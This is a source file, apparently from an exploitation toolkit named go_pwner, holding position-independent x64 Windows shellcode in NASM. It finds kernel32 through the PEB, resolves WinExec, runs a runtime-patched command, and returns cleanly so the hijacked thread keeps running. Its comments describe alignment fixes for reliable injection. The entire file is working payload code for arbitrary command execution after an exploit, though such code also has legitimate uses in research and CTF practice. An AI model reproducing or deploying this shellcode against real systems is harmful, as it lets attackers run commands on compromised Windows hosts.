Files
go_pwner/shellcode/asm/winexec_x64.asm
T
2026-07-18 21:37:15 +03:00

53 lines
1.6 KiB
NASM

; winexec_x64.asm — position-independent x64 shellcode: resolve kernel32's
; base via the PEB (no leak/hardcoded address needed), find WinExec by
; name, and run a command. Returns normally (ret) so the host thread keeps
; running afterward.
;
; cmd_buf is a 260-byte placeholder at the very end of the assembled blob;
; winpwn patches it at runtime with the actual NUL-terminated command
; (see shellcraft.go).
BITS 64
default rel
start:
; Preserve the caller's rbp/r12 (both non-volatile per the Windows x64
; ABI) and stash the post-push rsp in rbp so we can force 16-byte
; alignment below and still land exactly back on the real return
; address afterward. A bare `and rsp, ~0xF` with no matching restore
; before `ret` pops whatever garbage is sitting at the shifted address
; instead of the caller's actual return address — that's the bug this
; replaced (verified by crash: rip ended up pointing into the Go
; runtime's heap, i.e. exactly the kind of stale stack value this leaves
; behind).
push rbp
push r12
mov rbp, rsp
and rsp, ~0xF ; force 16-byte stack alignment, unknown entry state
call get_kernel32_base
mov r12, rax ; r12 = kernel32 base
mov rcx, r12
lea rdx, [rel name_winexec]
call find_export
; rax = WinExec address
lea rcx, [rel cmd_buf]
mov edx, 5 ; SW_SHOW
sub rsp, 0x20 ; shadow space required before any WinAPI call
call rax
add rsp, 0x20
mov rsp, rbp
pop r12
pop rbp
ret
%include "resolver.inc"
name_winexec: db "WinExec", 0
align 8
cmd_buf:
times 260 db 0